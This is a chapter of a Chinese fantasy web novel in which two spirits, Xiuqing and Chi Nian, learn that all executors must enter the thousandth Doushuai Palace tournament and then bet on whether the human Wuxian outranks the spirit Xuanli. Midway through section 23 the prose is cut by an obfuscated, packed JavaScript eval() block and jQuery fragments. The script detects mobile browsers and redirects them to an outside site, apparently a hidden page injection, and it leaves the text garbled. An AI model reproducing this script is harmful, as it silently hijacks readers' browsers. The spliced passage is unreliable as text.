第8章：斗帅宫大会


    22


    我前脚刚熄灭煤油灯并躺到池年身边，后脚就听见放在床头的灵器响了。


    “谁大半夜不睡觉，搁这闹腾？”


    嘟嘟囔囔着，但我还是怎么躺下的，就怎么爬了起来。


    钱猫本就善夜视，因此我在昏暗的房间里一伸手就拾到灵器并拿起也是轻而易举，我将灵力注入其中，一时间，屋里便被灵器所泛起白光给照亮了，我扫了眼正侧身看我的池年，此男此时身上穿的长衫和我穿着的大差不差，颈间的旧项链因重力的影响而坠在衣袍的领口下，半遮不遮地藏在那里。


    一声脆响，即表示灵器上可供“千里传音”的法阵生效了。


    “喂！岫青！池年是不是也在你身边呢？你俩快听我说——今年老君在斗帅宫大会上可是下血本了！优胜前百名都有奖！”是鸠老的声音。


    “……”


    这老头儿怎么比我们年轻妖精都热血？三更半夜还能这么精神十足的？


    原本正被瞌睡虫啃食大脑的我，都不由得因此而清醒了三分。


    同时，我的身边突然传来塌陷感，我歪头，发现是池年撑起了上半身，整张虎脸都凑了上来。


    池年也同样不解，低头对着灵器道：“怎么？你要参加？”


    鸠老先是沉默了一刻，然后才拔高嗓门道：“我也就是那么随便一说，结果你俩现在还真在一起呢啊！”


    池年：“这是重点？”


    我：“我刚好来池长老的会馆这边有事要办，他负责招待我，没问题吧？”


    我和池年的声音叠在了一起。


    鸠老：“…………”


    这次鸠老沉默的时间变得更长了。


    我听说他最近收了个小徒弟，为此忙得不可开交，具体表现在多日未曾来找我打牌，也没闲工夫去找池年或哪吒逗趣、喝茶观鸟，又比如此时他难得脑袋不灵光，没有像往常那样调侃我和池年“谁家好妖精，还能把同事给招待到一个被窝里去啊”。


    总之呢，为了可算实现了收徒梦的老人家着想，我也不准备为难他。


    便主动开口，帮鸠老理了理思路，我道：“今年召开的就是第一千届的斗帅宫大会了，老君想图个好彩头，也……”


    我的话还没说完，鸠老可算反应过来了，立刻道：“非也！他还要求了会馆的所有执行者都参加！”


    “什么？”


    我和同样愣住的池年相视一看，彼此的神情都不禁认真了几分。


    我问：“都要参加？”


    鸠老哼了声：“没正经事情做的，再加上主动想参加的，肯定都要去过个场的。”


    和鸠老中断联系后。


    我和池年各自散着头发，平躺在床上望着天花板发呆。


    这下好了，谁都睡不着了，也再没有瞌睡虫过来啃食我的脑子了。


    “你参加吗？”


    我一边问，一边躲开池年摸过来以要给我顺毛的手，时刻将“预防秃头需从尚未百岁时做起”的戒语记在心间——有鸠老这位头发越发稀疏的前辈在前，我想不警惕都难。


    池年习以为常地将伸出的手掌换了个方向，最终落在我一只手的手背上，他沉声说：“自然。”


    说得倒是气定神闲又宛如已将赢家的位置胜券在握，不过说完就马上察觉到了不对劲，于是池老虎猛地翻了个身，变成侧躺的姿势看我，“……你不想参加？”


    我闭眼说道：“到时就让潘老派给我一个到国外去的任务，我不想凑这热闹。”


    “……又要出远门？”


    “有传送阵在，一睁眼一闭眼的功夫就走了个来回了，算什么远门。”


    池年抿唇，凑上前问我，“馆长的意思，是不是快要让你担任分会馆的馆长了？最近可新建立了不少新会馆。”


    我啊了一声，有些震惊地看向语出惊人的池长老。


    干脆也翻了个身，面朝他，伸出食指，挑在面前池长老的下颚位置，手法疑似是在给大猫挠下巴。


    我轻笑道：“不是，这从哪传来的小道消息？我这个当事妖精怎么不知道？”


    池年：“不是？”


    我有点无奈，换了个语气说：“应该……不是？话说，我前面有资历又德高望重的前辈多的是，哪轮得到我？年啊，你个当长老的，还是一方分会馆的馆长，怎么也跟着道听途说。”


    “那也是迟早的事。”


    我听着他忽然变得有些沉闷的声音，立刻好奇地抬手撩开挡在这只大老虎眼睛和额头前的那撮刘海，和融入在寂静黑暗中的那双金眸对视。


    才看了几秒，我便扑哧一笑，“年啊，难怪哪吒还总是将你当作小孩，你看看你，这是在冲谁撒娇呢？”


    “我没有。”这是还在嘴硬的池长老。


    “行，你没有。”


    我放下举在半空中的手，噙着笑继续说，“就算以后我真当上了分会馆的馆长，和现在又有什么差别啊，不也还是踩上传送阵就能和你见面了。再说妖精也得休息，我又不可能二十四小时都忙着在工作。”


    池年：“……”


    我戳了戳他，“你看潘老和夏馆长，感情那么好，但他俩不也都是各自分会馆的馆长吗？”


    池年：“…………”


    我坚持不懈地戳他，从脸颊戳到鼻梁，从下巴戳到胸膛，我边戳边说：“说话！”


    池年忽地一把握住我胡作非为的手，强硬道：“行了，该休息了！”


    23


    老君是创立苍南会馆（总会馆）的三神之一，也是斗帅宫大会的创办者。


    起初，举办斗帅宫大会的目的在于吸引妖精加入会馆，始于无限十三年，对，就是我认识的那位无限——我只听说他和那时的皇帝相熟，且两人关系甚密，于是那位皇帝便将年号改为了“无限”。


    再后来，每年加入会馆的妖精数量趋于稳定了，斗帅宫大会就改成了一年举办一次。


    轮到今年时，就是第一千届了。


    彼时距离无限十三年，早已过去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112190|179926||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了近三百年，而现在的人类社会也再无年号了。


    24


    我问鹿野会参加吗，她说“但试无妨”。


    我猜她十有八九也要去揍几个妖精。


    近来不满无限的声音在会馆里又此起彼伏的多了起来，虽声势不大，但终日待在会馆里的鹿野听了肯定也还是会感到不爽。她师父本人不当回事，何况人家仙人钟情于在老房子晒太阳和喂鸡，偶尔被喊来会馆执行任务，也不会太声张，以至于不少新来到会馆的妖精都对无限的实力存有质疑，心气高的则各个都叫嚣着“一个人类能厉害到哪去”。


    池年也有这个趋势。


    而且还很是不满我帮无限说话、抱不平，他说我又没见过无限出手（从外面揍几个喽啰妖精带回来不算，彰显不出真正的实力），凭什么这么坚定不移地相信无限就是人类最强。


    我说无限身上有种武侠小说里世外高人的气场，光看他的心境和遛鸟老大爷似的悠哉感，我就知道此人不一般，绝非等闲之辈。


    没怎么看过人类写的小说的池长老：？


    他说我胡诌。


    我一听，就真的开始睁眼说瞎话，还说多亏当年有无限帮我打通了任督二脉，这才造就了此时此刻的妖精岫青。


    池年：“呸，你这是靠自己的努力！无限教过你什么？教你怎么喂鸡吗？！”


    我：“你在夸我？”


    池年：“……不是，你别打岔！先就事论事！”


    我：“好吧，那我觉得无限就是很厉害。”


    “再厉害也厉害不过妖精。”


    “……你说谁？老君、明王，还是哪吒？但这三位都是神仙啊。”


    池年双手抱臂，哼了声，“我说的是玄离。”


    “哦——”


    曾经的斗帅宫大会的关底守擂员嘛，我知道，在第一届斗帅宫大会上就凭一己之力抵挡住了四百多只妖精的围剿，后来更是再没听说过有谁战胜过他。


    不过知道归知道，我没见过。


    而且玄离在三十多年前就消失了踪迹。


    池年：“那是老君装蒜，但凡让鹿野去找玄离的行踪，怎么可能会找不到。”


    我忽然一笑，又打趣地哦了一声，“看嘛，嘴上天天说着无限不行、无限也就那样、无限肯定没有玄离厉害，结果还不是要拐着弯的说一说人家的徒弟有本事。”


    “一码归一码，但这不代表无限的实力就足够和妖精相匹敌。”


    我挑眉：“打赌？”


    池年挺直腰身，以表会坚持自己的观点，“赌什么？”


    我想了下，随后便笑着朝他的方向歪了下头，“如果我赢了，你就把这次斗帅宫大会的冠军奖励送给我。”


    此话一出，立刻惹得坐在我身旁的大老虎清起了嗓子，而且说话的语气也跟着一软，他说：“咳，你就这么笃定最终问鼎的会是我？这次和以往不同，来参加的执行者和妖精可都不弱。”


    我答非所问，只是加深了笑意道：“那我们拭目以待。”